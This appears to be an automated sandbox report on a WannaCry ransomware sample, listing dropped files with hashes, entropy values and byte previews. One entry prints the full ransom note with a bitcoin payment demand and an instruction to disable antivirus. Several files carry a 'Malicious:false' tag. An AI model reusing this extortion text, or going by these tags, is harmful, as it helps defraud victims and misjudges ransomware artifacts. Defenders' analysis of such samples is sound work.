                                                                                                      SHA-512:1300AA4A67A6E799F2C3BB86EB86F0C16444A057A71BFEF15122A57C683AADC8AE1E74BF8E19F05CD26EE3F5DB9C3DA360E8C800F341476ACCAC86F87F1E693E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....<we5%..._.f.W&...>.....}6.i...C..^..p.:.]._.70..B......cA...L..z...s...q..Q..0....H>P...........?g;N..hQ3.#.\.......vG.Vd..L..8[,.^...[...0|A...m......(..k..2.KdANG.....-.`)........o8.qM.m.L..om..L.c.;."..3. ..........\...}..xBM.T`..|..`P...%..............b.x........<<1............V..I...o..4....$.@.~Ad4...x/..y.0.>...+%'.......n.f,.....-...HW....)..|....Q*....&S....ANo.loF....v.2...B..(.%...[$.-...?....&..K.u.:!..3.F..Cyj..u...W.%0v....."N..9..,..D.D-f0..G...,R..Xc.mY.......<1.<,A......S.S...._D..:...I.%1...x.#...EH.%.P.lm..z.....[.b.X.B.....H.l....hf.Ce#..#jdq.;...5..I:.v...."~..A}b...V.....m...|H....L.4)...V.g.....^..d..Z...DS....>..g_.9...j..+8+s.#.9....;..........(..2aV..8zN..-L).....[62,5.......~yU.T....-.......O".m..-.u.h..a..o......I...c!.NHZ........VT.....1...]..e#n...G}.~sd@...R.......;<.B.E.....<......0....VS.}m...p.c.+^.#.E..H....].a....m...0S...y./...0.*D.M.X..N.#..f=.Kx!....H.%<.X..1Igc.n.~G.7|s.D.'......`...

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845445732750333
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkVpviyhkhRkJBFmp9VnS2WMwX4kpRsAAwWiRSNGiG9wqj6hVmy4RzQPRvLXkLpy:bk3aphLUdpRtAwWiqDG9wqJ8tXkk
                                                                                                      MD5:291E8003BD24FACB06229B334EF00624
                                                                                                      SHA1:099F65CD389968054821315E199688AAF8914C06
                                                                                                      SHA-256:365DAE26C5586F4F11537304876B2982F1A8DB1B9F9C4993C7E4E4D1C7C255C7
                                                                                                      SHA-512:1300AA4A67A6E799F2C3BB86EB86F0C16444A057A71BFEF15122A57C683AADC8AE1E74BF8E19F05CD26EE3F5DB9C3DA360E8C800F341476ACCAC86F87F1E693E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....<we5%..._.f.W&...>.....}6.i...C..^..p.:.]._.70..B......cA...L..z...s...q..Q..0....H>P...........?g;N..hQ3.#.\.......vG.Vd..L..8[,.^...[...0|A...m......(..k..2.KdANG.....-.`)........o8.qM.m.L..om..L.c.;."..3. ..........\...}..xBM.T`..|..`P...%..............b.x........<<1............V..I...o..4....$.@.~Ad4...x/..y.0.>...+%'.......n.f,.....-...HW....)..|....Q*....&S....ANo.loF....v.2...B..(.%...[$.-...?....&..K.u.:!..3.F..Cyj..u...W.%0v....."N..9..,..D.D-f0..G...,R..Xc.mY.......<1.<,A......S.S...._D..:...I.%1...x.#...EH.%.P.lm..z.....[.b.X.B.....H.l....hf.Ce#..#jdq.;...5..I:.v...."~..A}b...V.....m...|H....L.4)...V.g.....^..d..Z...DS....>..g_.9...j..+8+s.#.9....;..........(..2aV..8zN..-L).....[62,5.......~yU.T....-.......O".m..-.u.h..a..o......I...c!.NHZ........VT.....1...]..e#n...G}.~sd@...R.......;<.B.E.....<......0....VS.}m...p.c.+^.#.E..H....].a....m...0S...y./...0.*D.M.X..N.#..f=.Kx!....H.%<.X..1Igc.n.~G.7|s.D.'......`...

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\ZGGKNSUKOP.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.796683845577543
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:0GKPDgBiYlmOtkiohLEicgIyXmRutQnLOUfQaOSVvpsjPfk:0PUSiMLEiwwmZyYQaO8pOPM
                                                                                                      MD5:1D50781D43BB209AF5E547A30752C71E
                                                                                                      SHA1:A12553A91DD31DE87932941FEFA848C3D07E639B
                                                                                                      SHA-256:2EB48A8E1E88D2E1175943C550802A3B593DE66BC79E03246092896B0A63C33B
                                                                                                      SHA-512:362FBF9F385D591C0B6FC13E85BDEE56A7AB49C41ED3802A864B789D11CFEAD940BC1539B769AA3FEACC60D03AC47BDF8EE8535FDF5F24014339D0CFAAA3F768
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.T...X...I=*...Q.a!.....e.Lk.......J.)D...zf^*h.g.5h;.x..x.W!..E:.Q:A.C..N.`.E.{p*...|...\.'0yfe..Y.u...n....W..[.N....x{..Y..4.i....f.=QN EC...F......Pvq....S.5..:@.eu`.^.../".I.j...p.Z..D......T7..v.....O.D.-9...OW.F.1..s......s..K.I...:......Tue..iaJ....%...0.........V.l.:]R.,..P.....b~S..P.+':..g.. ..>...p.B<..........G......FT&...|.....H*..P...T..;r.^.G.~..<........+....1..$HI......^..UI.v ...(s.j..........'....GM.z.7d..r6...R...6Ts^......V1............m...z...s.A/,.>l.!a..Im..a.D.W.K:.M..- .^vER..V.W?Az!.~=.-..KjA.._.Tn.t.3..Nd.g.....t.F....)..."F5...8.......e..1....K.Lq.0.....T..\JzE..=.I."..5.&.6M..>?g...R...8..6...[./...`.z.Q.Ue.<.1....3&P.........C."&4....p0P*..]....=.aU..J..B.........o..H'in......I.%.$0.........p.v..m. .%y&..u.+..O..j.d8z.1u.{9;..|..Y.....K.;..A.*.~Z...7.gU.I.3.l...h\.....B...A..'.........u. J.X...v.=.)n|n|..Y..`...U..Lm...<...{...\...1U...5...........,..a...F.*..~[.v:..d.$..Cw.......32.7...F..w.T..n

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\ZGGKNSUKOP.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855044660359474
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkeFWEFGI2XBv3nY/9FszaHd1YgsSdW2vCUDn5Jy5YWfdLfu:bkeFWjRv3S191Ygsd2vCUDnXy5Yqs
                                                                                                      MD5:58AB2FE4EAE51FDA5B1D7CFEEB33C671
                                                                                                      SHA1:F54FAC62ABE8CB424D2050EE8C6F961310E3D385
                                                                                                      SHA-256:B32FF7EE16AAE354E87791BD0B06759955895BFA33117437654B928DDF2CD133
                                                                                                      SHA-512:301FB79E9169BC4C41F1C8FFA12D84BF26F15F77EC4136795A7106A55A07BEB0C11582A594224B63301D029097753AA8585E290A9FB084A81DA9E3C26144DF1B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....u..".+..S._.h[..0\-X......".gc.....5....Y)\....n../..E...^...PgH..\.....9SO.1....B....._..\[HW?86. F..}..#..%.. i..kz.+d.........yV..a......'.....q%.0i..qI..FD..aUUNY.....I.o=t.H.~.8.a.....D...10s..t%....#(..]....1.\L.w......y.H*6.{.l.)..?7..]................9.]...B.T...m.fi$..~...5ns3+8..[.q.I....).....<.d.....o..(.....i....[.&....y_.&.A.u...P....svSot.{.3.........W.5....X..).. ..|.N.Un.p......G./..#\...i=..j2..rU..i.}......l...A.1...6*0..C@.2........|.2.....3.b..9./....6.p.'...V..}+.R.\. ... H '7T...S.....5..n.;.;1=......6........E7..W-g....0.....&.......1N...h.1..B.'1...\.SU6S.d...E...{...;...%..[..^.s..lz5.."z.8H...I...m.....*......z...f...=........l..u@...sb.;Ty{.f.....z...@R@X3......k.Kz....8.0..-b!..05.&~.,L.....?< ....x..g/b...=^.tJG`.q...."....j..y.E..!.$..>RV%.n...._.n.O.ID.........kN...zV...r.(4...8Y..f...R.=.T0..;.c...z..n... .J..f...yVb......7e......Z.2..+*}...l<..V(c.v..)..\."\G.8..e...B.3.r.n....'F5.i.N.{...

                                                                                                      C:\Users\user\Documents\BJZFPPWAPT\ZGGKNSUKOP.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855044660359474
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkeFWEFGI2XBv3nY/9FszaHd1YgsSdW2vCUDn5Jy5YWfdLfu:bkeFWjRv3S191Ygsd2vCUDnXy5Yqs
                                                                                                      MD5:58AB2FE4EAE51FDA5B1D7CFEEB33C671
                                                                                                      SHA1:F54FAC62ABE8CB424D2050EE8C6F961310E3D385
                                                                                                      SHA-256:B32FF7EE16AAE354E87791BD0B06759955895BFA33117437654B928DDF2CD133
                                                                                                      SHA-512:301FB79E9169BC4C41F1C8FFA12D84BF26F15F77EC4136795A7106A55A07BEB0C11582A594224B63301D029097753AA8585E290A9FB084A81DA9E3C26144DF1B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....u..".+..S._.h[..0\-X......".gc.....5....Y)\....n../..E...^...PgH..\.....9SO.1....B....._..\[HW?86. F..}..#..%.. i..kz.+d.........yV..a......'.....q%.0i..qI..FD..aUUNY.....I.o=t.H.~.8.a.....D...10s..t%....#(..]....1.\L.w......y.H*6.{.l.)..?7..]................9.]...B.T...m.fi$..~...5ns3+8..[.q.I....).....<.d.....o..(.....i....[.&....y_.&.A.u...P....svSot.{.3.........W.5....X..).. ..|.N.Un.p......G./..#\...i=..j2..rU..i.}......l...A.1...6*0..C@.2........|.2.....3.b..9./....6.p.'...V..}+.R.\. ... H '7T...S.....5..n.;.;1=......6........E7..W-g....0.....&.......1N...h.1..B.'1...\.SU6S.d...E...{...;...%..[..^.s..lz5.."z.8H...I...m.....*......z...f...=........l..u@...sb.;Ty{.f.....z...@R@X3......k.Kz....8.0..-b!..05.&~.,L.....?< ....x..g/b...=^.tJG`.q...."....j..y.E..!.$..>RV%.n...._.n.O.ID.........kN...zV...r.(4...8Y..f...R.=.T0..;.c...z..n... .J..f...yVb......7e......Z.2..+*}...l<..V(c.v..)..\."\G.8..e...B.3.r.n....'F5.i.N.{...

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.821585253451962
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:5sYWndV6SvfJQqVDfjse77RZOZyvHHhPuuuvonBpa:KiSn5Jfjx5ZO8vHBmunPa
                                                                                                      MD5:958A816B53094792235B17E42674A25A
                                                                                                      SHA1:DAC9CDD551250447E0E1A218FB563A8C3AFF329E
                                                                                                      SHA-256:F2D592F202A98F9ECA191B54C8B3A66D45964441D97EB065CD835ECC66650F86
                                                                                                      SHA-512:A57A358112CEA0A9153CD957D96A0B0CC08FD05601BCC6BAB1FE40B1C01D974EC6481D9A83AECC7AFE02E2AD30FF12D35EC6C5316AD77F3D43330B9AE0FD5F82
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:'t..W.M.v_......N../.ks...~.BM..2..3....c0).|B.r...JbI.Q....[OFj.>...YMv..+Om.;..?Nw.X.Q+.....j...9.n..).(.....PW....a..,.l..V7.C/...n...,.g...L...;E.c- ..b..i.h........^W:..q..e....3..........x.*I.`..I...B..\......../...!.S...e.......:E.A....NJ5,.vq..{J.g8.E...k.D..N.r.w...7....pS...* .A.....l.h..Fx.".....[.1.qd. ..1..G..j'.R.....9..|..g4...S3.#.A.X...U..y"Q..Y.kuc.[....@....'....V.A.H..V>v......O.o..0.....W..9......a..!z..m..^..\........l....].SH..+.....~.h.R...f.W...|..F......$................M.[..4....%....`..mI..h..&..j....4O.kl..lz..R.sw..w.&%.|6.[..7VQ.c.T....%..X..yA...>a....$.Zb6.c~fN..8....I..3....&.G...s...,........".>...F.....U..FB...]p.P.........E..z...J..JW...ija....t..:8.:u.,........0.........x..kd....Km...n..YX...*Z..e....w..<......*...(.x.l.lI..+..}0@.:..*8....R..A....B.?.d.J.....c^.t..,..'.[2.(........!..H...>...0.........?.|{H..+...M.....ep.x......_'...T.h..p.x.....iP..s...Z...P..?...ujb]{5p..=..vc).aD...._.|.E6y..p.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850265960965704
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkHPsqf6tE36wUhB19jBux6VKRr6MEuZuuytDDQd+n+v5NxH:bkvHf6O3ZyNj44VKNduuKDHn+BN5
                                                                                                      MD5:C797582B48ED08AC573B49AF9985C8FB
                                                                                                      SHA1:3F21F38416F252B1846DD9D0202F27B84D49D67E
                                                                                                      SHA-256:DE07F86020581BF8FDFFC24FE16606C4C66D6E8E1173089D46444B8743E762B3
                                                                                                      SHA-512:D09BDB34AACFD851B55683F422E3C249170AC837A753F8E9501B34385BBD67D1F81FE05B64AB2BF9AABC7D08244184927B548B80932ACFCB185034B41C76E8CE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l}.4.u_..A...A..$..V4....>...VH...F.p-.g7%yA."...B.^....J..y.q.;.G...?.D.u...... V+.Xv....\.i....._.A^.......y....A.*...6R..JK.......i.=..4y....T..".M...'.......".{Pw*D.*B.3..tv[.....|..A.....J.-..G..<.1.*....M....fl......n5....y.ztu..................'[U.|@>...^v'....h..,..(.N{'w......'.-.nPey;.....w...P.>."..x^F..t..2..M..2..w..,X.....WF..B......s<...>.U.b.b..T.......J>e.......I..Zq}.hr.z..|$.o"..\.Z..A,32.f.....#.L..2>......k..]0.m.9.....J&J.M....l.....vK...;.`b.....Gu...b4......E;%p...W...N.5....O2.z...y....ql....v................xn.x...t.L..#$id.}ie5..].)/)..m....nuv....C..<V....WT.L.f......d..w..}..x.w..>....Z..).>.2o.gLO.$.X........a.:..bz.6.a.A.....!.......... .X.`.^.e-.....@.j...dz#........!.+..W......./...:.=R....*\:..TC..o:...G...^.ON...W......:.`...|..G...kH6.....'r.|..{.^..._..e......4..%^.(...!.....X..oc.../.DaP^..W......o.*..0.,.E...z.XL4.t...t"..G....W.....-f.PA.%/.....@tN,*].&...#M.........A.~vy.z..t.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850265960965704
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkHPsqf6tE36wUhB19jBux6VKRr6MEuZuuytDDQd+n+v5NxH:bkvHf6O3ZyNj44VKNduuKDHn+BN5
                                                                                                      MD5:C797582B48ED08AC573B49AF9985C8FB
                                                                                                      SHA1:3F21F38416F252B1846DD9D0202F27B84D49D67E
                                                                                                      SHA-256:DE07F86020581BF8FDFFC24FE16606C4C66D6E8E1173089D46444B8743E762B3
                                                                                                      SHA-512:D09BDB34AACFD851B55683F422E3C249170AC837A753F8E9501B34385BBD67D1F81FE05B64AB2BF9AABC7D08244184927B548B80932ACFCB185034B41C76E8CE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l}.4.u_..A...A..$..V4....>...VH...F.p-.g7%yA."...B.^....J..y.q.;.G...?.D.u...... V+.Xv....\.i....._.A^.......y....A.*...6R..JK.......i.=..4y....T..".M...'.......".{Pw*D.*B.3..tv[.....|..A.....J.-..G..<.1.*....M....fl......n5....y.ztu..................'[U.|@>...^v'....h..,..(.N{'w......'.-.nPey;.....w...P.>."..x^F..t..2..M..2..w..,X.....WF..B......s<...>.U.b.b..T.......J>e.......I..Zq}.hr.z..|$.o"..\.Z..A,32.f.....#.L..2>......k..]0.m.9.....J&J.M....l.....vK...;.`b.....Gu...b4......E;%p...W...N.5....O2.z...y....ql....v................xn.x...t.L..#$id.}ie5..].)/)..m....nuv....C..<V....WT.L.f......d..w..}..x.w..>....Z..).>.2o.gLO.$.X........a.:..bz.6.a.A.....!.......... .X.`.^.e-.....@.j...dz#........!.+..W......./...:.=R....*\:..TC..o:...G...^.ON...W......:.`...|..G...kH6.....'r.|..{.^..._..e......4..%^.(...!.....X..oc.../.DaP^..W......o.*..0.,.E...z.XL4.t...t"..G....W.....-f.PA.%/.....@tN,*].&...#M.........A.~vy.z..t.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.781176585455347
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:gL4JY61AzsqLHKmIqrdqBh2/aq2vZN8tFKr+nJL:E6SzsqVImc2/nuytFKr+
                                                                                                      MD5:80B427092E31245D52632147B322D959
                                                                                                      SHA1:9A918A057B8ECC874E148E8FE96BCFCFDF7D1FE2
                                                                                                      SHA-256:4D2E9FFB8A5BF7002A97AE26EE3DAC59EDD030C177732555BA9695005D0442FF
                                                                                                      SHA-512:4D6A4FD7345860D8F67499024EA800787AF8BC2D5A374B56F52CE4AD6C0EC36E430697417FF0BC3AFF32A8FB25F19EF3342A5DA2C1045EE3CD9C8EEF785DBC3D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..p.*....4$.S^m>T.H.?...!f."......s.<l....$'...$9.57...Ls.L..W.B.;.......&).0..R.i..c6.x.X...+..t.lR.'..AF.Um.+.........H./Ni...o....FY.Wj.`....k.f.s..."...e/..R.pk....]..n..|.......F{4/.zG&.x.....K_..+f'.....e.x._G|..lWa.O.[...".....\h.#...}.n....}zf....,{v.`Y....}..:.xse..v..3..h..x...$1....AtN.L.0{..v....g.n.4../...m......6.k^.f.>..C.)...|............. 9.!...{.w.k.F."tB...'..I.......-..pS\....6.....p..G.J.c.m....q.D....].J..l..Wi{fM.#..G......4k.......]..>............1Z.6.z........_..%...t;...u.9..X..Eo.B+s;XX..~........o..$.....O.A......M.....-....z...W..t.V(<H.U...4...."...{.XdZ.E..........b.].....u.%g...OL.NI....V....tg..\..?..oRRM....S=....?...Q.I.........H.@V.<.....v.`..3.B..........u.D;....`...D...d......qr....*..<8 .n*V...?x;.\h....?.l..^.bz!...[..c.=U.;....pM....5&R6.R+......ki.z;..?...{%.f..{.H.cx.bv..M.>9.p.&.D.7..........G.!LuYo....hD--.....c...S...z.&.F..d=]...#.s..u.{.....B..6.....x...1.aT...Tt.........{_u..L..RAQ[..GF.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.828245762847235
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk6QtyBnooACHEE2i/siLguYCc3jvTue9tvbX67gJRKPzRby0A3ztYl:bklEoaLv8uY77XtvbX67GRU5y0S8
                                                                                                      MD5:F968F5C5819B79E13CA4D22143736C3E
                                                                                                      SHA1:1D30924F84D882D0B1C41C0BDD14A0932551CB06
                                                                                                      SHA-256:53EFEDEE5507F5A2E810E1223BE6F1B273D04DE3D766E6DCB99D210848B2DE72
                                                                                                      SHA-512:DB785A3ABA81E538E9BE607513DAC22834DBAF91EDE17CF868A8EC4578C30130A2830143A5F45CEC8BF5146A19531B930CA5D10E6BBCF696C6BBE93930474CA7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....A......]1d...n6..98.....>....% ..F.W.0.m..M....m.H.cbP..K..&".4.=.(.I.=Vh.CN.d....\...Pd....;.2...(..`........O:../.,....`.J...:.{n...e+...............9U.a @p...w.u...`8.p......+.DH.(.p&....;....}s...c.v9A..Yv.UM....14.;.X.w.O.....T..HY..............P7.b<.fJ......^.......).*O..f.f.V..%b.9 -.\..mb.H.li?Z.x+R.[.J.."..=Cw4.....O.f.t...d.....cHZ..U.Pm^.B@.....U.B]p@$..4......F...X..z.Ix.......BU.v...D4.},.(I..t..r_{`o.%..t>s... ..............!d[....ft.U....r.v....z.1..1}:6..&.d......,!P;...O...XA.w..:D.y.[.7.N.;..Pp..V..`...s......lB,j:.b.....}n.......@.....}P......V........t...3..tm......};.....>..&....b..[.x.,.S.P.....4:...P.@.<....2....../..,8......`B.?.{jO:..O..|..vo...i.4...."..)..(...r.#...N..../_5.?%M.n:*vK.[....U.6..*(,....&9Ls...S...o,..2|D.....Vl[=..aU.v..~......9.V.}.......wB..-s...e...o......\..[....lGA.V.bm;.K<B.T.;K.H`....6,7.qm?.0Q.?.!>...a....`.....l..`4..O..a.M.'....'..%;...2..'H.Z.A.pT..7.C...7..].+.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.828245762847235
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk6QtyBnooACHEE2i/siLguYCc3jvTue9tvbX67gJRKPzRby0A3ztYl:bklEoaLv8uY77XtvbX67GRU5y0S8
                                                                                                      MD5:F968F5C5819B79E13CA4D22143736C3E
                                                                                                      SHA1:1D30924F84D882D0B1C41C0BDD14A0932551CB06
                                                                                                      SHA-256:53EFEDEE5507F5A2E810E1223BE6F1B273D04DE3D766E6DCB99D210848B2DE72
                                                                                                      SHA-512:DB785A3ABA81E538E9BE607513DAC22834DBAF91EDE17CF868A8EC4578C30130A2830143A5F45CEC8BF5146A19531B930CA5D10E6BBCF696C6BBE93930474CA7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....A......]1d...n6..98.....>....% ..F.W.0.m..M....m.H.cbP..K..&".4.=.(.I.=Vh.CN.d....\...Pd....;.2...(..`........O:../.,....`.J...:.{n...e+...............9U.a @p...w.u...`8.p......+.DH.(.p&....;....}s...c.v9A..Yv.UM....14.;.X.w.O.....T..HY..............P7.b<.fJ......^.......).*O..f.f.V..%b.9 -.\..mb.H.li?Z.x+R.[.J.."..=Cw4.....O.f.t...d.....cHZ..U.Pm^.B@.....U.B]p@$..4......F...X..z.Ix.......BU.v...D4.},.(I..t..r_{`o.%..t>s... ..............!d[....ft.U....r.v....z.1..1}:6..&.d......,!P;...O...XA.w..:D.y.[.7.N.;..Pp..V..`...s......lB,j:.b.....}n.......@.....}P......V........t...3..tm......};.....>..&....b..[.x.,.S.P.....4:...P.@.<....2....../..,8......`B.?.{jO:..O..|..vo...i.4...."..)..(...r.#...N..../_5.?%M.n:*vK.[....U.6..*(,....&9Ls...S...o,..2|D.....Vl[=..aU.v..~......9.V.}.......wB..-s...e...o......\..[....lGA.V.bm;.K<B.T.;K.H`....6,7.qm?.0Q.?.!>...a....`.....l..`4..O..a.M.'....'..%;...2..'H.Z.A.pT..7.C...7..].+.

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.827069398294973
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:4xsGohyVl5nBB6bRZ9qnZI9AcocsTfblzxcdfdF4t2TKRTU8ji5P:4xsGosA1ZM2AcolTfbczF4t2O1fjiN
                                                                                                      MD5:4D5FE3E7EFFCFFF56519CE5AA24F0FFB
                                                                                                      SHA1:6A88AFF4192BF2825972E6B69EC76E642C037D3D
                                                                                                      SHA-256:D8E28BDD9204C436D65120F3A69188C95E746AF73FD562C3A37193D507E3FFDC
                                                                                                      SHA-512:21434D1838246F3F1B3F6F6459AF6727731C811B79BA6EAE0E43BCE11C986735D60D59DE10D7BCFDAD7D0C9F1DBCBF7C4713C523DFB5D2EA3A198029F37A0DC9
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
